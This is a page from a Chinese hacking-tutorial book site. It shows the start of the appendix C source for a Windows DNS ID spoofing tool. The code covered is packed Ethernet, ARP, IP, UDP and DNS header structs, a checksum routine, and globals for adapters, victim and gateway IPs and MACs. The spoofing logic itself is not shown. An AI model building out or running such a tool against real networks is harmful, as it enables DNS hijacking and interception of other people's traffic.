万卷书   首页 > 电脑书籍 > 黑客攻防战 >Windows下DNS ID欺骗实现与原理
 

五.附件源代码

#include <packet32.h>
#include <iphlpapi.h>
#include <stdio.h>

#define ETH_IP            0x0800
#define ETH_ARP           0x0806
#define ARP_REQUEST         0x0001
#define ARP_REPLY          0x0002
#define ARP_HARDWARE         0x0001
#define MAX_NUM_ADAPTER       10
#define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020

#pragma pack(push,1)

typedef struct ethdr
{
   unsigned char eh_dst[6];
   unsigned char eh_src[6];
   unsigned short eh_type;
}ETHDR,*PETHDR;

typedef struct arphdr
{
   unsigned short arp_hdr;
   unsigned short arp_pro;
   unsigned char  arp_hln;
   unsigned char  arp_pln;
   unsigned short arp_opt;
   unsigned char  arp_sha[6];
   unsigned long  arp_spa;
   unsigned char  arp_tha[6];
   unsigned long  arp_tpa;
}ARPHDR,*PARPHDR;

typedef struct iphdr
{
   unsigned char h_lenver;
   unsigned char tos;
   unsigned short total_len;
   unsigned short ident;
   unsigned short frag_and_flags;
   unsigned char ttl;
   unsigned char protocol;
   unsigned short checksum;
   unsigned int  sourceip;
   unsigned int  destip;
}IPHDR,*PIPHDR;

typedef struct psd
{
   unsigned int  saddr;
   unsigned int  daddr;
   char      mbz;
   char      ptcl;
   unsigned short udpl;
}PSD,*PPSD;

typedef struct udphdr
{
   unsigned short souceport;
   unsigned short destport;
   unsigned short length;
   unsigned short checksum;
}UDPHDR,*PUDPHDR;

typedef struct dns
{
   unsigned short id;
   unsigned short flags;
   unsigned short quests;
   unsigned short answers;
   unsigned short author;
   unsigned short addition;
}DNS,*PDNS;

typedef struct query
{
   unsigned short type;
   unsigned short classes;
}QUERY,*PQUERY;

typedef struct response
{
   unsigned short name;
   unsigned short type;
   unsigned short classes;
   unsigned int  ttl;
   unsigned short length;
   unsigned int  addr;
}RESPONSE,*PRESPONSE;

#pragma pack(pop)

unsigned short checksum(USHORT *buffer,int size)
{
   unsigned long cksum=0;
   while(size>1)
   {
     cksum+=*buffer++;
     size-=sizeof(unsigned short);
   }
   if(size)
     cksum+=*buffer;
   cksum=(cksum>>16)+(cksum & 0xffff);
   cksum+=(cksum>>16);
   return (unsigned short)(~cksum);
}

LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
IPAddr  myip,firstip,secondip,virtualip;
UCHAR   mmac[6]={0},fmac[6]={0},smac[6]={0};
char   adapterlist[MAX_NUM_ADAPTER][1024];

上一页 下一页